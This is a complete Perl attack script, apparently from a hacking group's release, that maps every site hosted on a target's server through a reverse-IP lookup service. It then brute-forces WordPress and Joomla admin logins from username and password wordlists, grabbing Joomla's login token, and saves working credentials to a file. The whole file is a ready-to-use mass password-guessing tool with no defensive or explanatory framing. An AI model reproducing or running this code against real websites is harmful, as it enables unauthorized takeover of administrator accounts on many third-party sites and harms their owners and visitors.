bruteforce joomla&WP

#!/usr/bin/perl
if($^O =~ /Win/){

   system("cls");
   system("title BruTO_IJO");
}
sub trim($);
print q{+-------------------------------------------------------------+
|           ____             _______                                  |
|          |  _ \           |__   __|                                 |
|          | |_) | _ __  _   _ | |  ___                               |
|          |  _ < | '__|| | | || | / _ \                              |
|          | |_) || |   | |_| || ||  __/                              |
|          |____/ |_|    \__,_||_| \___|                              |
|                                                                     |
|                              v 1.0 [pak_bambang]                    |
+-----------------------------------------------------------------__+};
$ioip     = $ARGV[0];
$ulist     = $ARGV[1];
$list     = $ARGV[2];

if(@ARGV < 3){
print q{
|                                                                     |
|                                                                     |
| caranya : Perl brute.pl [Target/Domains List] [UserList] [PassList] |
|                                                                     |
|     contoh : perl brute.pl www.Target.ltd ulist.txt pwlist.txt      |
|     contoh : perl brute.pl domains.txt ulist.txt pwlist.txt         |
|                                                                     |
|                                                                     |
+---------------------------------------------------------------------+
|                                                                     |
|     [x] Name     : Brute_iJ0                                        |
|     [x] Coded by : pak_bambang                                      |
|     [x] E-mail   : root(att)google.co.id                            |
|     [x] Site     : http://www.google(dot)co(dot)id                  |
|                                                                     |
|     [x] Greetz   : bambang1 - bambang2 - bambang3 - bambang4        |
|                    bambang5 & bambang lain nya XD                   |
|                                                                     |
|     [x] Special  : bambanglicious_team - biangkerok_crew            |
|                                                                     |
+---------------------------------------------------------------------+
}
;exit;}
chomp($ioip);
if($ARGV[0] =~ /.txt/) {
print "\n[!] Listing Domains From $ARGV[0] ...\n\n";
open (DOMAINS, "<$ARGV[0]") || die "[-] ngga bisa buka daftar nama domain COK!";
@DOMAINS = <DOMAINS>;
close DOMAINS;
}else{
print "\n[!] Grabbing Domains From $ioip ...\n\n";
use LWP::UserAgent;
use HTTP::Request;
my $ua = LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5');


my $rp = $ua->post('http://www.yougetsignal.com/tools/web-sites-on-web-server/php/get-web-sites-on-web-server-json-data.php',
{
        remoteAddress => $ioip,
}
);

my $dresult = $rp->content;
while ($dresult =~ m/\[([^\]]*)\]/g)
{
        $imatch = $1;
        $imatch =~ m/\"(.*?)\", \"?\"/g;
open(a, ">>domains-$ioip.txt");
print a "$1\n";
close(a);
}
if ($dresult =~ m/"message":"Daily reverse IP check limit reached for (.*)\. Please <a href='\/about'>contact<\/a> me to remove this limit\."/)
{
print "[-] Sorry Domains Cannot Be Listed now\n\n";
}
open (DOMAINS, "<domains-$ioip.txt") || die "[-] ngga bisa buka daftar nama domain COK!";
@DOMAINS = <DOMAINS>;
close DOMAINS;
}
foreach my $D (@DOMAINS) {
chomp $D;

$wp = "http://".$D."/wp-login.php";
my $reqwp=HTTP::Request->new(GET=>$wp);
my $uawp=LWP::UserAgent->new();
$uawp->timeout(30);
my $responsewp=$uawp->request($reqwp);

$wp1 = "http://".$D."/blog/wp-login.php";
my $reqwp1=HTTP::Request->new(GET=>$wp1);
my $uawp1=LWP::UserAgent->new();
$uawp1->timeout(30);
my $responsewp1=$uawp1->request($reqwp1);

$joom = "http://".$D."/administrator/index.php";
my $reqjoom=HTTP::Request->new(GET=>$joom);
my $uajoom=LWP::UserAgent->new();
$uajoom->timeout(30);
my $responsejoom=$uajoom->request($reqjoom);

$joom1 = "http://".$D."/Portal/administrator/index.php";
my $reqjoom1=HTTP::Request->new(GET=>$joom1);
my $uajoom1=LWP::UserAgent->new();
$uajoom1->timeout(30);
my $responsejoom1=$uajoom1->request($reqjoom1);


if ($responsewp->content=~ /<body class="login">/){print "[+] $D :[Wordpress]\n";
open(a, ">>resault-$ioip.txt");
print a "[WordPress]:$D\n";
close(a);
use LWP::UserAgent;
    use URI::URL;
    use HTTP::Request;
    use HTTP::Request::Common qw(POST);
    use HTTP::Request::Common qw(GET);


print "\n\n [!] HAJJAARRR !! $D ...\n\n";
open (USERFILE, "<$ulist") || die "[-] Can't Open The List Of Users !";
@ULIST = <USERFILE>;
close USERFILE;
foreach my $U (@ULIST) {
chomp $U;
$user = trim($U);

use LWP::UserAgent;
my $useragaint = new LWP::UserAgent;
open (PASSFILE, "<$list") || die "[-] Can't Open The List Of Passwords !";
@LISTS = <PASSFILE>;
close PASSFILE;
foreach my $L (@LISTS) {
chomp $L;
$pwd = trim($L);


my $response = $useragaint->post($wp,
{
"log"   => "$user",
"pwd"   => "$pwd",
});

if ($content = $response->content=~ /<div id="login_error">/)

{
print "\t[-] [$user]:$pwd Gagal COK !! \n";
}
else {
print "\n\n\t[+] [$user]:$pwd Masuk COK !! \n\n";
open(a, ">>resault-$ioip.txt");
print a "$user:$pwd\n";
close(a);
}
}
print "\n\n";
}
}
else{
if ($responsewp1->content=~ /<body class="login">/){print "[+] $D :[Wordpress]\n";
open(a, ">>resault-$ioip.txt");
print a "[WordPress]:$D/blog/\n";
close(a);
use LWP::UserAgent;
    use URI::URL;
    use HTTP::Request;
    use HTTP::Request::Common qw(POST);
    use HTTP::Request::Common qw(GET);


print "\n\n [!] HAJJAARRR !! $D ...\n\n";
open (USERFILE, "<$ulist") || die "[-] Can't Open The List Of Passwords !";
@ULIST = <USERFILE>;
close USERFILE;
foreach my $U (@ULIST) {
chomp $U;
$user = trim($U);

use LWP::UserAgent;
my $useragaint = new LWP::UserAgent;
open (PASSFILE, "<$list") || die "[-] Can't Open The List Of Passwords !";
@LISTS = <PASSFILE>;
close PASSFILE;
foreach my $L (@LISTS) {
chomp $L;
$pwd = trim($L);


my $response = $useragaint->post($wp1,
{
"log"   => "$user",
"pwd"   => "$pwd",
});

if ($content = $response->content=~ /<div id="login_error">/)

{
print "\t[-] [$user]:$pwd gagal COK !! \n";
}
else {
print "\n\n\t[+] [$user]:$pwd Masuk COK !! \n\n";
open(a, ">>resault-$ioip.txt");
print a "$user:$pwd\n";
close(a);
}
}
print "\n\n";
}
}
else{
if ($responsejoom->is_success && $responsejoom->content=~ /Joomla/){print "[+] $D :[Joomla]\n";
open(a, ">>resault-$ioip.txt");
print a "[Joomla]:$D\n";
close(a);
    use LWP::UserAgent;
    use URI::URL;
    use HTTP::Request;
    use HTTP::Request::Common qw(POST);
    use HTTP::Request::Common qw(GET);
    use HTTP::Cookies;
      $ua = LWP::UserAgent->new(keep_alive => 1);
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
$ua->timeout (30);
$ua->cookie_jar(
        HTTP::Cookies->new(
            file => 'mycookies.txt',
            autosave => 1
        )
    );


print "\n\n\t[!] HAJJAARRR !! $D ...\n\n";
open (USERFILE, "<$ulist") || die "[-] Can't Open The List Of Passwords !";
@ULIST = <USERFILE>;
close USERFILE;
my $red = GET $joom;
my $ret = $ua->request($red);
$rep =  $ret->content;
$status = $ret->status_line;
if ( $rep =~ m#(name=")(.*)" value="1"# ) {
$token = $2 ;
}else{
die "[-] Can't Grabb Joomla Token !";
}
foreach my $U (@ULIST) {
chomp $U;
$user = trim($U);
use LWP::UserAgent;
my $useragaint = new LWP::UserAgent;
open (PASSFILE, "<$list") || die "[-] Can't Open The List Of Passwords !";
@LISTS = <PASSFILE>;
close PASSFILE;
foreach my $L (@LISTS) {
chomp $L;
$pwd = trim($L);

my $response = $ua->post($joom,
{
"username"   => "$user",
"passwd"   => "$pwd",
"lang"   => "en-GB",
"option"   => "com_login",
"task"   => "login",
"$token"   => "1",
});
$pwnd = $response->status_line;
if ($pwnd =~ /303/ | $pwnd =~ /301/){

print "\n\t[+] [$user]:$pwd masuk COK !! \n\n";
open(a, ">>resault-$ioip.txt");
print a "$user:$pwd\n";
close(a);
}
else {

print "\t[-] [$user]:$pwd gagal COK !! \n";

}
}
print "\n\n";
}
}
else{
if ($responsejoom1->is_success && $responsejoom1->content=~ /Joomla/){print "[+] $D :[Joomla]\n";
open(a, ">>resault-$ioip.txt");
print a "[Joomla]:$D\n";
close(a);
    use LWP::UserAgent;
    use URI::URL;
    use HTTP::Request;
    use HTTP::Request::Common qw(POST);
    use HTTP::Request::Common qw(GET);
    use HTTP::Cookies;
      $ua = LWP::UserAgent->new(keep_alive => 1);
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
$ua->timeout (30);
$ua->cookie_jar(
        HTTP::Cookies->new(
            file => 'mycookies.txt',
            autosave => 1
        )
    );


print "\n\n\t[!] HAJJAAARR $D ...\n\n";
open (USERFILE, "<$ulist") || die "[-] Can't Open The List Of Passwords !";
@ULIST = <USERFILE>;
close USERFILE;
my $red1 = GET $joom1;
my $ret1 = $ua->request($red1);
$rep1 =  $ret1->content;
$status = $ret1->status_line;
if ( $rep1 =~ m#(name=")(.*)" value="1"# ) {
$token = $2 ;
}else{
die "[-] Can't Grabb Joomla Token !";
}
foreach my $U (@ULIST) {
chomp $U;
$user = trim($U);

use LWP::UserAgent;
my $useragaint = new LWP::UserAgent;
open (PASSFILE, "<$list") || die "[-] Can't Open The List Of Passwords !";
@LISTS = <PASSFILE>;
close PASSFILE;
foreach my $L (@LISTS) {
chomp $L;
$pwd = trim($L);

my $response = $ua->post($joom1,
{
"username"   => "$user",
"passwd"   => "$pwd",
"lang"   => "en-GB",
"option"   => "com_login",
"task"   => "login",
"$token"   => "1",
});
$pwnd = $response->status_line;
if ($pwnd =~ /303/ | $pwnd =~ /301/){

print "\n\t[+] [$user]:$pwd masuk COK !! \n\n";
open(a, ">>resault-$ioip.txt");
print a "$user:$pwd\n";
close(a);
}
else {

print "\t[-] [$user]:$pwd gagal COK !! \n";

}
}
print "\n\n";
}
}
else {print "[-] $D :[Unknown]\n";}
}
}
}
}
sub trim($)
{
    my $string = shift;
    $string =~ s/^\s+//;
    $string =~ s/\s+$//;
    return $string;
}